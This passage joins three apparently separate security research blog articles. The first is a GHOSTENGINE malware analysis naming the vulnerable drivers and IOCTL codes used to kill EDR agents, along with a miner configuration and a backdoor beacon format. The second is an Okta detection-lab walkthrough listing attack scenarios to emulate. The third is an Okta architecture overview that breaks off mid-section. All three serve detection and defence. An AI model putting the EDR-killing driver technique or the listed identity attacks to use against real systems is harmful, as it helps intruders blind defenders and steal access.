EDR agent controller and miner module: smartsscreen.exe

This module primarily terminates any active EDR agent processes before downloading and installing a crypto-miner.

The malware scans and compares all the running processes with a hardcoded list of known EDR agents. If there are any matches, it first terminates the security agent by leveraging the Avast Anti-Rootkit Driver file aswArPots.sys with the IOCTL 0x7299C004 to terminate the process by PID.

smartscreen.exe is then used to delete the security agent binary with another vulnerable driver, iobitunlockers.sys from IObit, with the IOCTL 0x222124.

smartscreen.exe then downloads the XMRig client mining program (WinRing0x64.png) from the C2 server as taskhostw.png. Finally, it executes XMRig, its drivers, and the configuration file config.json, starting the mining process.

Update/Persistence module: oci.dll

The PowerShell script creates a service DLL (oci.dll), a phantom DLL loaded by msdtc. The DLL's architecture varies depending on the machine; it can be 32-bit or 64-bit. Its primary function is to create system persistence and download any updates from the C2 servers by downloading the get.png script from the C2 and executing it.

Every time the <code>msdtc<strong> </strong></code>service starts, it will load <code>oci.dll</code> to spawn the PowerShell one-liner that executes <code>get.png</code> :

EDR agent termination module: kill.png

kill.png is a PowerShell script that injects shellcode into the current process, decrypting and loading a PE file into memory.

This module is written in C++, and the authors have integrated redundancy into its operation. This redundancy is evident in the replication of the technique used in smartsscreen.exe to terminate and delete EDR agent binaries; it continuously scans for any new processes.

Powershell backdoor module: backup.png

The PowerShell script functions like a backdoor, enabling remote command execution on the system. It continually sends a Base64-encoded JSON object containing a unique ID, derived from the current time and the computer name while awaiting base64-encoded commands. The results of those commands are then sent back.

In this example eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9 is the Base64-encoded JSON object:

$ echo "eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9" | base64 -D
{"id":"171568624072626","host":"analysis"}

Miner configuration

XMRig is a legitimate crypto miner, and they have documented the configuration file usage and elements here. As noted at the beginning of this publication, the ultimate goal of the REF4578 intrusion set was to gain access to an environment and deploy a persistent Monero crypto miner, XMRig.

We extracted the configuration file from the miner, which was tremendously valuable as it allowed us to report on the Monero Payment ID and track the worker and pool statistics, mined cryptocurrency, transaction IDs, and withdrawals.

Below is an excerpt from the REF4578 XMRig configuration file:

{
    "autosave": false,
    "background": true,
    "colors": true,

...truncated...

    "donate-level": 0,
    "donate-over-proxy": 0,
    "pools": [
        {
            "algo": "rx/0",
            "coin": "monero",
            "url": "pool.supportxmr[.]com:443",
            "user": "468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f",
            "keepalive": true,
            "tls": true

...truncated...

    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}

Monero Payment ID

Monero is a blockchain cryptocurrency focusing on obfuscation and fungibility to ensure anonymity and privacy. The Payment ID is an arbitrary and optional transaction attachment that consists of 32 bytes (64 hexadecimal characters) or 8 bytes (in the case of integrated addresses).

Using the Payment ID from the above configuration excerpt (468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f) we can view the worker and pool statistics on one of the Monero Mining Pool sites listed in the configuration.

Additionally, we can see the transaction hashes, which we can look up on the Monero blockchain explorer. Note that while transactions date back four months ago, this only indicates the potential monetary gain by this specific worker and account.

Using the Blockchain Explorer and one of the transaction hashes we got from the Payment ID, we can see the public key, the amount is withdrawn, and when. Note that these public keys are used with one-time addresses, or stealth addresses that the adversary would then use a private key with to unlock the funds.

In the above example for transaction 7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442 we can see that there was a withdrawal of 0.109900000000 XMR (the abbreviation for Monero) totaling $14.86 USD. The Monerao Mining Pool site shows four transactions of approximately the same amount of XMR, totaling approximately $60.70 USD (January - March 2024).

As of the publication of this research, there are still active miners connected to the REF4578 Payment ID.

While this specific Payment ID does not appear to be a big earner, it is evident that REF4578 could operate this intrusion set successfully. Other victims of this campaign could have different Payment IDs used to track intrusions, which could be combined for a larger overall haul.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution
• Persistence
• Defense Evasion
• Discovery
• Command and Control
• Exfiltration
• Impact

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: Windows Command Shell
• Scheduled Task/Job: Scheduled Task
• Indicator Removal: Clear Windows Event Logs
• Masquerading
• Process Injection
• Process Discovery
• Exfiltration Over C2 Channel
• Data Encoding
• Resource Hijacking
• Service Stop

Mitigating GHOSTENGINE

Detection

The first objective of the GHOSTENGINE malware is to incapacitate endpoint security solutions and disable specific Windows event logs, such as Security and System logs, which record process creation and service registration. Therefore, it is crucial to prioritize the detection and prevention of these initial actions:

• Suspicious PowerShell execution
• Execution from unusual directories
• Elevating privileges to system integrity
• Deploying vulnerable drivers and establishing associated kernel mode services.

Once the vulnerable drivers are loaded, detection opportunities decrease significantly, and organizations must find compromised endpoints that stop transmitting logs to their SIEM.

Network traffic may generate and be identifiable if DNS record lookups point to known mining pool domains over well-known ports such as HTTP (80) and HTTPS (443). Stratum is also another popular network protocol for miners, by default, over port 4444.

The analysis of this intrusion set revealed the following detection rules and behavior prevention events:

• Suspicious PowerShell Downloads
• Service Control Spawned via Script Interpreter
• Local Scheduled Task Creation
• Process Execution from an Unusual Directory
• Svchost spawning Cmd
• Unusual Parent-Child Relationship
• Clearing Windows Event Logs
• Microsoft Windows Defender Tampering
• Potential Privilege Escalation via Missing DLL
• Binary Masquerading via Untrusted Path

Prevention

Malicious Files Prevention :

Shellcode Injection Prevention:

Vulnerable Drivers file creation prevention (Windows.VulnDriver.ArPot and Windows.VulnDriver.IoBitUnlocker )

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows Trojan GHOSTENGINE
• Windows.VulnDriver.ArPot
• Windows.VulnDriver.IoBitUnlocker

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.antiy.com/response/HideShoveling.html

Welcome to another installment of Okta threat research with Elastic. Previously, we have published articles exploring Okta’s core services and offerings. This article is dedicated to the practical side of cyber defense - setting up a robust Okta threat detection lab. Our journey will navigate through the intricacies of configuring a lab environment using the Elastic Stack, integrating SIEM solutions, and seamlessly connecting with Okta.

The goal of this article is not just to inform but to empower. Whether you're a seasoned cybersecurity professional or a curious enthusiast, our walkthrough aims to equip you with the knowledge and tools to understand and implement advanced threat detection mechanisms for Okta environments. We believe that hands-on experience is the cornerstone of effective cybersecurity practice, and this guide is crafted to provide you with a practical roadmap to enhance your security posture.

As we embark on this technical expedition, remember that the world of cybersecurity is dynamic and ever-evolving. The methods and strategies discussed here are a reflection of the current landscape and best practices. We encourage you to approach this guide with a mindset of exploration and adaptation, as the techniques and tools in cybersecurity are continually advancing.

So, let's dive into our detection lab setup for Okta research.

Prerequisites

For starters, an Okta license (a trial license is fine) is required for this lab setup. This will at least allow us to generate Okta system logs within our environment, which we can then ingest into our Elastic Stack.

Secondarily, after Okta is set up, we can deploy a Windows Server, set up Active Directory (AD), and use the AD integration in Okta to sync AD with Okta for Identity and Access Management (IAM). This step is not necessary for the rest of the lab, however, it can help extend our lab for other exercises and scenarios where endpoint and Okta data are both necessary for hunting.

Sign up for Okta Workforce Identity

We will set up a fresh Okta environment for this walkthrough by signing up for a Workforce Identity Cloud trial. If you already have an Okta setup in your environment, then feel free to skip to the Setting Up the Elastic Stack section.

Once signed up for the trial, you are typically presented with a URL containing a trial license subdomain and the email to log into the Okta admin console.

To start, users must pivot over to the email they provided when signing up and follow the instructions of the activation email by Okta, which contains a QR code to scan.

The QR code is linked to the Okta Verify application that is available on mobile devices, iOS and Android. A prompt on the mobile device for multi-factor authentication (MFA) using a phone number and face recognition is requested.

Image 1: Setting up Okta Verify through a mobile device

Once set up, we are redirected to the Okta admin console to configure MFA using Okta Verify.

Image 2: The Okta Admin console

At this point, you should have a trial license for Okta, have setup MFA, and have access to the Okta admin console.

Setting up your free cloud stack

For this lab, we will use a free trial of an Elastic Cloud instance. You also have the option to create the stack in Amazon Web Services (AWS), GCP, or Microsoft Azure if you’d like to set up your stack in an existing cloud service provider (CSP). Ensure you enable MFA for your Elastic Cloud environment.

Once registered for the free trial, we can focus on configuring the Elastic Stack deployment. For this lab, we will call our deployment okta-threat-detection and deploy it in GCP. It is fine to leave the default settings for your deployment, and we recommend the latest version for all the latest features. For the purposes of this demo, we use the following:

• Name: okta-threat-detection
• Cloud provider: Google Cloud
• Region: Iowa (us-central1)
• Hardware profile: Storage optimized
• Version: 8.12.0 (latest)

The option to adjust additional settings for Elasticsearch, Kibana, Integrations, and more is configurable during this step. However, default settings are fine for this lab exercise. If you choose to leverage the Elastic Stack for a more permanent, long-term strategy, we recommend planning and designing architecturally according to your needs.

Once set, select “Create deployment” and the Elastic Stack will automatically be deployed in GCP (or whatever cloud provider you selected). You can download the displayed credentials as a CSV file or save them wherever you see fit. The deployment takes approximately 5 minutes to complete and once finished, you can select “Continue” to log in. Congratulations, you have successfully deployed the Elastic Stack within minutes!

Image 3: Your newly deployed Elastic stack

Setup Fleet from the Security Solution

As a reminder, Fleet enables the creation and management of an agent policy, which will incorporate the Okta integration on an Elastic Agent. This integration is used to access and ingest Okta logs into our stack.

Create an Okta policy

For our Elastic Agent to know which integration it is using, what data to gather, and where to stream that data within our stack, we must first set up a custom Fleet policy we’re naming Okta.

To set up a fleet policy within your Elastic Stack, do the following in your Elastic Stack:

1. Navigation menu > Management > Fleet > Agent Policies > Create agent policy
2. Enter “Okta” as a name > Create Agent Policy

Image 4: Fleet agent policies page in Elastic Stack

Setup the Okta integration

Once our policy is established, we need to install the Okta integration for the Elastic Stack we just deployed.

By selecting the “Okta” name in the agent policies that was just created, we need to add the Okta integration by selecting “Add integration” as shown below.

Image 5: The Okta integration within the agent policies

Typing “Okta” into the search bar will show the Okta integration that needs to be added. Select this integration and the following prompt should appear.

Image 6: The Okta Integration page

By selecting “Add Okta” we can now begin to set up the integration with a simple step-by-step process, complimentary to adding our first integration in the Elastic Stack.

Image 7: Adding integrations into the Elastic Stack

Install the Elastic Agent on an endpoint

As previously mentioned, we have to install at least one agent on an endpoint to access data in Okta, associated with the configured Okta policy. We recommend a lightweight Linux host, either as a VM locally or in a CSP such as GCP, to keep everything in the same environment. For this publication, I will use a VM instance of Ubuntu 20.04 LTS VM in Google’s Compute Engine (GCE). Your endpoint can be lightweight, such as GCP N1 or E2 series, as its sole purpose is to run the Elastic Agent.

Select the “Install Elastic Agent” button and select which host the agent will be installed on. For this example, we will be using a Linux host. Once selected, a “Copy” option is available to copy and paste the commands into your Linux console, followed by execution.

Image 8: Install Elastic Agent

Create an Okta token

At this point, we need an API key and an Okta system logs API URL for the integration setup. Thus, we must pivot to the Okta admin console to create the API token.

Image 9: Access the Okta Admin console

From the Okta admin console, select the following:

1. Security > API > Tokens
2. Select the “Create token” button

In this instance, we name the API token “elastic”. Since my administrator account creates the token, it inherits the permissions and privileges of my account. In general, we recommend creating a separate user and scoping permissions properly with principle-of-least-privilege (PoLP) for best security practices. I recommend copying the provided API token key to the clipboard, as it is necessary for the Okta integration setup.

Image 10: Copy your API token

We also need to capture the Okta API Logs URL, which is our HTTPS URL with the URI /api/v1/logs or system logs API endpoint.

For example: https://{okta-subdomain}.okta.com/api/v1/logs

The Elastic Agent, using the Okta integration, will send requests to this API URL with our API token included in the authorization header of the requests as a Single Sign-On for Web Systems (SSWS) token. With this information, we are ready to finalize our Okta integration setup in the Elastic Stack.

Add Okta integration requirements

Pivoting back to the Okta integration setup in the Elastic Stack, it requires us to add the API token and the Okta System logs API URL as shown below. Aside from this, we change the “Initial Interval” from 24 hours to 2 minutes. This will help check for Okta logs immediately after we finish our setup.

Image 11: Configure log collection

Once this information is submitted to the Okta integration setup, we can select the “Confirm incoming data” button to verify that logs are properly being ingested from the Elastic Agent.

Image 12: Preview data from Okta

While we have confirmed that data is in fact being ingested from the Elastic Agent, we must also confirm that we have Okta-specific logs being ingested. I would suggest that you take a moment to pivot back to Okta and change some settings in the admin console. This will then generate Okta system logs that will eventually be extracted by our Elastic Agent and ingested into our Elastic Stack. Once completed, we can leverage the Discover feature within Kibana to search for the Okta system logs that should have been generated.

The following query can help us accomplish this - event.dataset:okta*

Image 13: Use Discover to explore your Okta data

If you have managed to find Okta logs from this, then congratulations rockstar, you have successfully completed these steps:

1. Signed up for Okta Workforce Identity with a trial license
2. Deployed a trial Elastic stack via cloud.elastic.co
3. Deployed an agent to your host of choice
4. Created an Okta policy
5. Setup the Okta integration
6. Created an Okta API token
7. Confirmed incoming data from our Elastic agent

Enable Okta detection rules

Elastic has 1000+ pre-built detection rules not only for Windows, Linux, and macOS endpoints, but also for several integrations, including Okta. You can view our current existing Okta rules and corresponding MITRE ATT&CK coverage.

To enable Okta rules, complete the following in the Elastic Stack:

1. Navigation menu > Security > Manage > Rules
2. Select “Load Elastic prebuilt rules and timeline templates”
3. Once all rules are loaded: a. Select “Tags” dropdown b. Search “Okta” c. Select all rules > Build actions dropdown > Enable

Image 14: Searching for Out-of-the-Box (OOB) Okta Detection Rules

While we won’t go in-depth about exploring all rule information, we recommend doing so. Elastic has additional information, such as related integrations, investigation guides, and much more! Also, you can add to our community by creating your own detection rule with the “Create new rule” button and contribute it to our detection rules repository.

Let’s trigger a pre-built rule

After all Okta rules have been enabled, we can now move on to testing alerts for these rules with some simple emulation.

For this example, let’s use the Attempt to Reset MFA Factors for an Okta User Account detection rule that comes fresh out-of-the-box (OOB) with prebuilt detection rules.

Image 15: Enabling an OOB Okta detection rule to test alerting

To trigger, we simply log into our Okta admin console and select a user of choice from Directory > People and then More Actions > Reset Multifactor > Reset All.

Image 16: Resetting MFA for a user in Okta

Once complete, logs will be ingested shortly into the Elastic Stack, and the Detection Engine will run the rule’s query against datastreams whose patterns match logs-okta*. If all goes as expected, an alert should be available via the Security > Alerts page in the Elastic stack.

Image 17: Alert page flyout for triggered OOB Okta detection rule

Let’s trigger a custom rule

It is expected that not all OOTB Okta rules may be right for your environment or detection lab. As a result, you may want to create custom detection rules for data from the Okta integration. Allow me to demonstrate how you would do this.

Let’s assume we have a use case where we want to identify when a unique user ID (Okta Actor ID) has an established session from two separate devices, indicating a potential web session hijack.

For this, we will rely on Elastic’s piped query language, ES|QL. We can start by navigating to Security > Detection Rules (SIEM) > Create new rules. We can then select ES|QL as the rule type.

Image 18: Create new rule Kibana page in Elastic security solution

To re-create Okta system logs for this event, we would log in to Okta with the same account from multiple devices relatively quickly. For replication, I have done so via macOS and Windows endpoints, as well as my mobile phone, for variety.

The following custom ES|QL query would identify this activity, which we can confirm via Discover in the Elastic Stack before adding it to our new rule.

Image 19: Testing ES|QL query in Elastic Discover prior to rule implementation

Now that we have adjusted and tested our query and are happy with the results, we can set it as the query for our new rule.

Image 20: Creating new custom detection rule with ES|QL query logic

Image 21: Enabled custom detection rule with ES|QL query for Okta threat

Now that our rule has been created, tested, and enabled, let’s attempt to fire an alert by replicating this activity. For this, we simply log into our Okta admin console from the same device with multiple user accounts.

As we can see, we now have an alert for this custom rule!

Image 22: Triggered alert for events matching custom detection rule

Bonus: synchronize Active Directory (AD)

As discussed in our previous Okta installation, a core service offering in Okta is to synchronize with third-party IAM directory services such as AD, Google Workspace, and others. Doing so in your lab can enable further threat detection capabilities as cross-correlation between Windows logs and Okta for users would be possible. For this article, we will step through synchronizing with AD on a local Windows Server. Note - We recommend deploying a Windows Elastic Agent to your Windows Server and setting up the Windows and Elastic Defend integrations for additional log ingestion.

1. Setup your Windows Server (we are using WinServer 2019)
2. Deploy the Okta AD agent from your Okta admin console a. Directory > Directory Integrations b. Add Directory > Add Active Directory
3. Walk through guided steps to install Okta AD agent on Windows Server a. Execution of the Okta Agent executable will require a setup on the Windows Server side as well
4. Confirm Okta AD agent was successfully deployed
5. Synchronize AD with Okta a. Directory > Directory Integrations b. Select new AD integration c. elect “Import Now” Choose incremental or full import
6. Select which users and groups to import and import them

Image 23: Successful Okta agent deployment and synchronization with AD

Once finished, under Directory in the Okta admin console, you should see people and groups that have been successfully imported. From here, you can emulate attack scenarios such as stolen login credentials locally (Windows host) being used to reset MFA in Okta.

Additional considerations

While this is a basic setup of not only the Elastic Stack, Okta integration, and more for a threat research lab, there are additional considerations for our setup that are dependent on our research goals. While we won't dive into specifics nor exhaust possible scenarios, below is a list of considerations for your lab to accurately emulate an enterprise environment and/or adversary playbooks:

• Is Okta my IdP source of truth? If not, set up a third party such as Azure AD (AAD) or Google Workspace and synchronize directory services.
• Will I simulate adversary behavior - for example, SAMLjacking? If so, what third-party integrations do I need that leverage SAML for authentication?
• Do I want to research tenant poisoning? If so, should I set up a multi-tenant architecture with Okta?
• Do I need separate software, such as VPNs or proxies, to emulate attribution evasion when attempting to bypass MFA?
• What other tools, such as EvilGinx, let me attempt phishing playbooks, and what is the required set up in Okta for these exercises?
• How should I capture authorization codes during OAuth workflows, and how can I replay an exchange request for an access token?
• For password spraying or credential stuffing, which third-party applications should I integrate, and how many should suffice for accurate detection logic?
• How might I explore lax access policies for user profiles?

Takeaways

In this guide, we've successfully navigated the setup of an Okta threat detection lab using the Elastic Stack, highlighting the importance of safeguarding SaaS platforms like Okta. Our journey included deploying the Elastic Stack, integrating and testing Okta system logs, and implementing both pre-built and custom detection rules.

The key takeaway is the Elastic Stack's versatility in threat detection, accommodating various scenarios, and enhancing cybersecurity capabilities. This walkthrough demonstrates that effective threat management in Okta environments is both achievable and essential.

As we wrap up, remember that the true value of this exercise lies in its practical application. By establishing your own detection lab, you're not only reinforcing your security posture but also contributing to the broader cybersecurity community. Stay tuned for additional threat research content surrounding SaaS and Okta, where we'll explore common adversary attacks against Okta environments and detection strategies.

The evolution of digital authentication from simple, unencrypted credentials to today’s advanced methods underscores the importance of data security. As organizations adapt to hybrid deployments and integral application access is no longer within the perimeter of a network, inherited authentication complexity and risk ensue. The adoption of standard authentication protocols and advanced workflows is mandatory to not only reduce risk but also maintain operational stability amongst users who require access to various applications. Okta provides solutions to these inherent industry problems with its comprehensive SaaS platform for Identity and Access Management (IAM) services.

We will examine Okta's services and solutions in the context of Software-as-a-Service (SaaS) platforms and against the backdrop of the broader threat landscape. We'll explore historical and potential vulnerabilities to understand their origins and impacts. This article will provide insights into:

• Universal Directory (UD)
• Data Model
• API Access Management
• Access Policies
• Session Management
• Tenants
• Authorization Workflows
• Authentication Workflows.

With a deeper understanding of Okta, security practitioners may leverage this knowledge to accurately assess attack surfaces where Okta is deployed.

Okta's offerings

Overview of core services

In this introduction, we delve into the core services provided by Okta. Primarily, Okta is a SaaS platform, specializing in scalable Identity and Access Management (IAM) solutions. Central to its offerings are technologies such as Single Sign-On (SSO), Multi-Factor Authentication (MFA), and support for complex multi-tenant architectures. Okta also boasts a robust suite of RESTful APIs, facilitating seamless Create, Read, Update, and Delete (CRUD) operations.

At the heart of Okta’s IAM solutions lie users, groups, and policies. The platform provides comprehensive lifecycle management and a UD, allowing seamless IAM across hybrid environments encompassing applications, devices, and more. This includes synchronization capabilities with external directories like LDAP or Active Directory (AD), ensuring a unified identity management system.

A key aspect of Okta's service is its dual role as both a Service Provider (SP) and an Identity Provider (IdP). This dual functionality enables Okta to facilitate secure and seamless authentication via its Identity Engine, and robust authorization using standard protocols such as OAuth, while also supporting authentication protocols such as Security Assertion Markup Language (SAML) and OpenID Connect (OIDC).

For customers, Okta offers valuable tools for security and compliance. System logs, environment-based events that are stored and retrievable via API, provide insights into user activities and organizational events. These logs are crucial for Security Information and Event Management (SIEM) systems, aiding in the detection of anomalies and potential threats.

Additionally, Okta's ThreatInsight feature stands out as a proactive security measure. It aggregates and analyzes system logs, dynamically identifying and responding to potential threats. This includes recognizing patterns indicative of malicious activities such as password spraying, credential stuffing, and detecting suspicious IP addresses. These features collectively enhance the security posture of organizations, fortifying them against a wide array of cyber threats.

Integration capabilities

Aside from some of the many offerings, Okta is very developer-friendly with various other SaaS solutions and applications. Out of the box, Okta contains an integration network that allows seamless integration with other applications such as Slack, Google Workspace, Office 365, GitHub, and many more.

Okta’s RESTful APIs follow the System for Cross-domain Identity Management (SCIM) protocol. This allows for straightforward Create, Read, Update, and Delete (CRUD) operations on users and groups by applications or developers, but also enables standardization within the SaaS ecosystem. SCIM is a pivotal component of Okta's scalability. As businesses expand, the need to integrate an increasing number of users, groups, and access controls across various SaaS platforms grows. SCIM addresses this challenge by standardizing how user identity data is communicated between these platforms. This standardization facilitates the process of user management, especially in synchronizing user information across different systems.

Okta’s object management regarding APIs is focused on several domains listed below:

• Apps API - Manage applications and their association with users and groups.
• Users API - CRUD operations on users.
• Sessions API - Creates and manages user’s authentication sessions.
• Policy API - Creates and manages settings such as a user’s session lifetime.
• Factors API - Enroll, manage, and verify factors for MFA.
• Devices API - Manage device identity and lifecycles.

When integrations are added to an Okta organization, authentication policies, both fine-grained and global, can be set up for access control based on end-user attributes stored within the user’s Okta profile.

Universal directory

At the core of Okta’s user, group, policy, and device management is the UD. This is a single pane view of all assets, whether sourced from Okta, an integration, or a secondary directory service such as AD.

The UD is technically an Okta-managed, centralized, and cloud-based repository for all user, group, device, and policy profiles. Okta is either the source of truth regarding IAM or synchronizes with other federation services and identity providers such as AD or Google Workspace. The UD is accessible behind Okta’s core APIs for CRUD operations and used in conjunction with their single sign-on (SSO) platform, thus providing authentication and authorization to linked integrations or the admin console itself. Everything from user management to streamlined password management is enabled by the UD.

In conclusion, the UD classifies as a directory-as-a-service (DaaS), similar to AWS directory service, Microsoft’s Entra ID and many more.

Customization and management

Adding a bit more depth to the UD, profile customization is accessible. This enables an organization to store a record of information regarding users and groups that contain specific attributes. Base attributes are assigned by Okta, but custom attributes can be added as well between user, group, and app user profiles. Attribute mappings are important for synchronization and data exchanges between integrations and other directory services. For example, the AD attribute givenName can be mapped specifically to FirstName and LastName in Okta. Aside from synchronization, this is important for other Okta-related features such as inline hooks, directory rules and actions, and more.

Additionally, this enables rich SAML assertions and WS-Federation claims where applications can utilize this information to create rich user accounts, update accounts, or create complex authorization and authentication decisions.

There are additional autonomous provisioning and deprovisioning options available as well with the UD and internal profiles, important for scalability and administrative tasks such as controlling which user types can access which applications, thus enabling more traditional role-based access control (RBAC) policies.

Integration with external directories

As mentioned previously, the Okta Directory Integration can synchronize with external directories such as LDAP, AD, Google Workspace and others. For cloud-based DaaS platforms, Okta leverages RESTful APIs and the SCIM protocol to perform data exchanges and more. For on-premise environments, Okta has an AD endpoint agent that can be deployed and thus pulls information from directory services and ships it back to the UD.

Alternatively, Desktop SSO (DSSO) provides an agentless option as well. This supplies flexibility to cloud, on-premise or hybrid based environments all while continuing scalability and direct integration with 3rd-party applications. Architecturally, this solves the many pitfalls of LAN-based environments, where applications are served to domain users behind a firewall. From a security perspective, credentials and profiles are then synchronized from all application directories into a single “source-of-truth”: Okta. It is much more approachable to audit a single directory as well in an instance where, for example, a disgruntled employee is no longer employed, and thus access across various applications must be deactivated. Single Log-Off (SLO) is thus available for such situations thanks to these external directory integration capabilities.

Finally, we must not overlook the amount of maintenance this potentially reduces for organizations who may not have the resources to manage SAML, OAuth, and SCIM communications between RESTful APIs or compatibility issues between integrations as Okta manages this for them.

Additional solutions and examples of Okta providers with external directory support for AD can be found here.

Data model

As we traverse through the Okta landscape, understanding Okta’s data models is important to security practitioners who may be tasked with threat hunting, detection logic, and more.

Structure and design

When Okta is first established for an organization, it inherits its own “space” where applications, directories, user profiles, authentication policies, and more are housed. A top-level directory resource is given as a “base” for your organization where entities can be sourced from Okta or externally (LDAP, AAD, Google Workspace, etc.).

Okta users are higher-privileged users who typically leverage the Okta admin console and perform administrative tasks, while end users are those who may rely on Okta for SSO, access to applications and more.

By default, entities in Okta are referred to as resources. Each resource has a combined set of default and custom attributes as discussed before. Links then describe relationships or actions that are acceptable for a resource, such as a deactivation link. This information is then aggregated into a profile which is then accessible from within the UD. Groups are made up of users more as a label to a specific set of users.

Applications hold information about policies for access related to users and groups, as well as how to communicate with each integrated application. Together, the data stored about application access and related users is stored as an AppUser and if mapping is done correctly between directories, enables access for end users.

A policy contains a set of conditions and rules that affect how an organization behaves with applications and users. Policies are all-encompassing in Okta, meaning they are used for making decisions and completing actions such as - what is required for a password reset or how to enroll in MFA. These rules can be expressed using the Okta Expression Language (OEL).

Dedicated authorization servers are used per organization to provide authorization codes and tokens for access to applications by API or resources. Here, authorization and authentication protocols such as OAuth, OIDC, and SAML are vital for workflows. These authorization servers are also responsible for communication with third-party IdPs such as Google Workspace. End users who may seek access to applications are entangled in communication between authorization servers and SPs as codes and tokens are exchanged rapidly to confirm authorization and authentication.

Altogether, this structure and design support scalability, customization, and seamless integration.

API access management

API access management is not only important for end users, administrators, and developers but also for integration-to-integration communication. Remember that at the forefront of Okta are its various RESTful API endpoints.

While we won’t dive deep into the design principles and object management of Okta’s APIs, we will attempt to discuss core concepts that are important for understanding attack surfaces later in this blog series.

API Security

OAuth 2.0 and OIDC implementation

Understanding the core protocols of OAuth and OIDC is key before exploring various authorization and authentication workflows. OAuth, an open standard for delegated authorization in RESTful APIs, operates over HTTPS, enabling secure, delegated access using access tokens instead of credentials. These tokens, cryptographically signed by the Identity Provider (IdP), establish a trust relationship, allowing applications to grant user access. The typical OAuth workflow involves user access requests, user authentication, proof-of-authorization code delivery, and token issuance for API requests. Access tokens are verified with the IdP to determine access scope.

OIDC (API endpoints) builds upon OAuth for authentication, introducing identity-focused scopes and an ID token in addition to the access token. This token, a JSON Web Token (JWT), contains identity information and a signature, crucial for SSO functionality and user authentication. Okta, as a certified OIDC provider, leverages these endpoints, especially when acting as an authorization server for Service Providers (SPs).

Demonstrating Proof-of-Possession (DPoP) is crucial in this context, enhancing security by preventing misuse of stolen tokens through an application-level mechanism. It involves a public/private key pair where the public key, embedded in a JWT header, is sent to the authorization server. The server binds this public key to the access token, ensuring secure communication primarily between the user’s browser and the IdP or SP.

Tokens and API keys in Okta’s API Access Management play a vital role, acting as digital credentials post-user authentication. They are transmitted securely via HTTPS and have a limited lifespan, contributing to a scalable, stateless architecture.

Lastly, understanding End-to-End Encryption (E2EE) is essential. E2EE ensures that data is encrypted at its origin and decrypted only by the intended recipient, maintaining security and privacy across the ecosystem. This encryption, using asymmetric cryptography, is a default feature within Okta’s APIs, safeguarding data across applications, browsers, IdPs, and SPs.

RESTful API and CRUD

Okta's RESTful API adheres to a standardized interface design, ensuring uniformity and predictability across all interactions. This design philosophy facilitates CRUD (Create, Read, Update, Delete) operations, making it intuitive for developers to work with Okta's API. Each API endpoint corresponds to standard HTTP methods — POST for creation, GET for reading, PUT for updating, and DELETE for removing resources. This alignment with HTTP standards simplifies integration and reduces the learning curve for new developers.

A key feature of Okta providing a RESTful API is its statelessness — each request from client to server must contain all the information needed to understand and complete the request, independent of any previous requests. This approach enhances scalability, as it allows the server to quickly free resources and not retain session information between requests. The stateless nature of the API facilitates easier load balancing and redundancy, essential for maintaining high availability and performance even as demand scales.

SCIM

SCIM (System for Cross-domain Identity Management) is an open standard that automates user identity management across various cloud-based applications and services. Integral to Okta's API Access Management, SCIM ensures seamless, secure user data exchange between Okta and external systems. It standardizes identity information, which is essential for organizations using multiple applications, reducing complexity and manual error risks.

Within Okta, SCIM’s role extends to comprehensive user and group management, handling essential attributes like usernames, emails, and group memberships. These are key for access control and authorization. Okta’s SCIM implementation is customizable, accommodating the diverse identity management needs of different systems. This adaptability streamlines identity management processes, making them more automated, efficient, and reliable - crucial for effective API access management.

More information on SCIM can be found in RFC 7644 or by Okta.

Access policies

Okta's access policies play a critical role in managing access to applications and APIs. They can be customized based on user/group membership, device, location, or time, and can enforce extra authentication steps for sensitive applications. These policies, stored as JSON in Okta, allow for:

• Creating complex authorization rules.
• Specifying additional authentication levels for Okta applications.
• Managing user access and modifying access token scopes with inline hooks.

Key Policy Types in Okta include:

• Sign-On Policies: Control app access with IF/THEN rules based on context, like IP address.
• Global Session Policy: Manages access to Okta, including factor challenges and session duration.
• Authentication Policy: Sets extra authentication requirements for each application.
• Password Policy: Defines password requirements and recovery operations.
• Authenticator Enrollment Policy: Governs multifactor authentication method enrollment.

Policy effectiveness hinges on their sequential evaluation, applying configurations when specified conditions are met. The evaluation varies between the AuthN and Identity Engine pipelines, with the latter considering both global session and specific authentication policies.

Additionally, Network Zones in Okta enhances access control by managing it based on user connection sources. These zones, allowing for configurations based on IP addresses and geolocations, integrate with access policies to enforce varied authentication requirements based on network origin. This integration bolsters security and aids in monitoring and threat assessment.

Session management

In web-based interactions involving Identity Providers (IdPs) like Okta and Service Providers (SPs), the concept of a session is central to the user experience and security framework. A session is typically initiated when an end-user starts an interaction with an IdP or SP via a web browser, whether this interaction is intentional or inadvertent.

Technically, a session represents a state of interaction between the user and the web service. Unlike a single request-response communication, a session persists over time, maintaining the user's state and context across multiple interactions. This persistence is crucial, as it allows the user to interact with web services without needing to authenticate for each action or request after the initial login.

A session can hold a variety of important data, which is essential for maintaining the state and context of the user's interactions. This includes, but is not limited to:

Cookies: These are used to store session identifiers and other user-specific information, allowing the web service to recognize the user across different requests.

Tokens: Including access, refresh, and ID tokens, these are critical for authenticating and authorizing the user, and for maintaining the security of their interactions with the web service.

User Preferences and Settings: Customizations or preferences set by the user during their interaction.

